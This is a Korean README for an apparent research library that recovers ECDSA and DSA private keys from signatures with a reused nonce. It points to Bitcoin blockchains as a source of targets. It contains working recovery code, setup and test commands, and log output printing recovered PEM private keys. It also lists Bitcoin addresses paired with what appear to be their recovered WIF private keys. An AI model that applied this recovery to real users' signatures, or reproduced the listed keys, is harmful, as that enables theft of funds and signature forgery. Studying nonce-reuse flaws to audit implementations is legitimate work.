
암호화 서명 취약점 분석을 위한 암호학 연구 도구
ECDSA 및 DSA Nonce 재사용 개인 키 복구 공격 수행
서명 취약점을 분석하기 위한 암호화 연구 도구
동일한 nonce k를 공유하는 두 서명에 대한 개인 키를 복구해 봅시다. 동일한 nonce k를 선택하면 두 서명 모두 동일한 서명 값 r을 갖게 된다는 점에 유의하세요. ECDSA nonce 재사용 후보를 찾으려면 서로 다른 메시지(또는 해시)에 대해 동일한 r, pubkey, curve를 공유하는 서명을 찾으면 됩니다. 예를 들어 bitcoind 기반 블록체인 프로젝트는 일반적으로 ECDSA 서명 자료의 좋은 소스입니다.
sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # sampleA와 동일한 개인 키, nonce 재사용 k로 인해 동일한 r
# 개인 키 복구
sampleA.recover_nonce_reuse(sampleB) # 복구된 개인 키로 sampleA를 채워 사용할 준비를 합니다
print sampleA.privkey
Python 2.x:
#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py
Python 3.x:
#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py
| BTC 주소 | Base58 개인 키 | r |
|---|---|---|
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 113563387324078878147267949860139475116142082788494055785668341901521289846519 |
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 18380471981355278106073484610981598768079378179376623360720556873242139981984 |
| 1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W | 5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw | 19682383735358733565748628081379024202682929012377912380310432818686294127462 |
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 6828441658514710620715231245132541628903431519484374098968817647395811175535 |
복구 가능한 서명 객체 생성:
from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex
# 곡선 지정
curve = ecdsa.SECP256k1
# 16진수로 인코딩된 문자열에서 표준 ecdsa pubkey 객체 생성
pub = ecdsa.VerifyingKey.from_string(
bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
# sampleA 및 sampleB 복구 가능한 서명 객체 생성.
# long r, long s, bytestr hash, pubkey obj.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r
49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
bytes_fromhex(bignum_to_hex(
765305792208265383632692154455217324493836948492122104105982244897804317926)),
pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r
34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
bytes_fromhex(bignum_to_hex(
23350593486085962838556474743103510803442242293209938584974526279226240784097)),
pub)
# 키가 아직 복구되지 않음
assert (sampleA.x is None)
sampleA에 대한 개인 키 복구
# 키 복구 시도 - 이 업데이트는 sampleA 객체를 수정합니다
sampleA.recover_nonce_reuse(sampleB) # sampleB와 공유하는 개인 키 복구
assert (sampleA.x is not None) # 개인 키 복구 성공 여부 확인. 사용 준비가 된 ECDSA 개인 키 객체를 제공합니다
assert sampleA.privkey
INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - nonce 재사용에서 개인 키 복구 중 ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - 개인 키가 복구되었습니다!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - nonce 재사용에서 개인 키 복구 중 ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - 개인 키가 복구되었습니다!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----
INFO:__main__:------------DSA------------
DEBUG:__main__:생성된 샘플 서명: (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (962114315288785318297754502373467834746102876259L, 152066227943132308247866282041325280216845090990L), <_DSAobj @0x2c49a80 y,g,p(1024),q>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (962114315288785318297754502373467834746102876259L, 357089477795349418794190243474458899186606359757L), <_DSAobj @0x2c788f0 y,g,p(1024),q>))
DEBUG:__main__:서명 객체: [<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=⨯ >, <DsaSignature 0x2c7a3f sig=(9621143152…,3570894777…) public=✔ private=⨯ >]
DEBUG:__main__:<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=⨯ > - nonce 재사용에서 개인 키 복구 중...
DEBUG:__main__:<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=✔ > - 개인 키가 복구되었습니다!
-----BEGIN PRIVATE KEY-----
MIIBSgIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAA8tZboZpqrRAwKtK0
mXxwct7Es1BBih3HheeLBMOHCqPlwJmfUA8kBZQZzu3V+at5IWlRi0fTikvNWuqN
GLqMkf0kqXOhzP8/hD7B/CUF1YedzGKqC2BfhX/RON+CD/mFi35As8G73O29GCUl
qMd0KYhHHtBvVPiLAhUA/5r9a94k/9/mHVub1U0WrAJv2B8CgYARyESPcKSpBEoT
nXlMrX1M71RySJL5nrqUKpFTFRSoIwX5sj7ZRfKSqbf2umwSu8LfCEOZ2qKu0+jp
+bUC0oihSjaVCrADZykPr67k9mt56xx1wP4vUJJNfM3Wkty5xsI3JtUFbQ5EzFAt
JhLRWxOqcGEm35ZPQ4ao1qZsIsSVCQQWAhRqVNUTHGUaRRA5lXlmN4sw9glosQ==
-----END PRIVATE KEY-----
DEBUG:__main__:생성된 샘플 서명: (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (921214889680762780870505834724573810649257487648L, 1206590109737383111438209532388130932310558452933L), <_DSAobj @0x2c78cd8 y,g,p(1024),q>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (921214889680762780870505834724573810649257487648L, 254170456806936279470958328275930254179957847437L), <_DSAobj @0x2c788f0 y,g,p(1024),q>))
DEBUG:__main__:서명 객체: [<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=⨯ >, <DsaSignature 0x2c7a61 sig=(9212148896…,2541704568…) public=✔ private=⨯ >]
DEBUG:__main__:<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=⨯ > - nonce 재사용에서 개인 키 복구 중...
DEBUG:__main__:<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=✔ > - 개인 키가 복구되었습니다!
-----BEGIN PRIVATE KEY-----
MIIBSwIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAARApDBH1CEeZPeIM9
mMb6l3FyY8+AOy+cdiDzCaqlkIRVIRRxvnCH5oJ6gkinosGscZMTgF7IwQJzDHFm
oxvVdpACrj5Je+kpF6djefAbe+ByZ4FowkGq1EdMZF8aZzsik3CFkEA/vDsjvAsg
XmKRvOnFHkkFuKCRAhUA/+rcmBQ71NBsDzkbusi6NQpTNF8CgYAFVt8xSXTiCGn8
+bqWyoX+gjItArrT28o6fGnq+apjwasvWDHq1FETk/gwqTbTwWTiMo2eOTImRKDF
MbK1us+DjhloAUuhL6nCRQhsLs4Jq+8A/y7aol/HjCz1fHRKKDD9wqKDf2kWdI97
Kb2Hq4AUoJWTCT0ijX+oQJafbywjdwQXAhUAniK/kyRv/SFd1uJjuDMh0EntMws=
-----END PRIVATE KEY-----
이 라이브러리는 복구에 성공하면 pubkey 전용 ecdsa 객체를 개인 키 활성화 ecdsa 객체로 업그레이드하려고 시도하는 방식으로 작성되었습니다. 이를 통해 복구된 키 객체를 쉽게 사용할 수 있습니다. 이 라이브러리는 ECDSA 및 DSA 키 복구를 모두 수행합니다.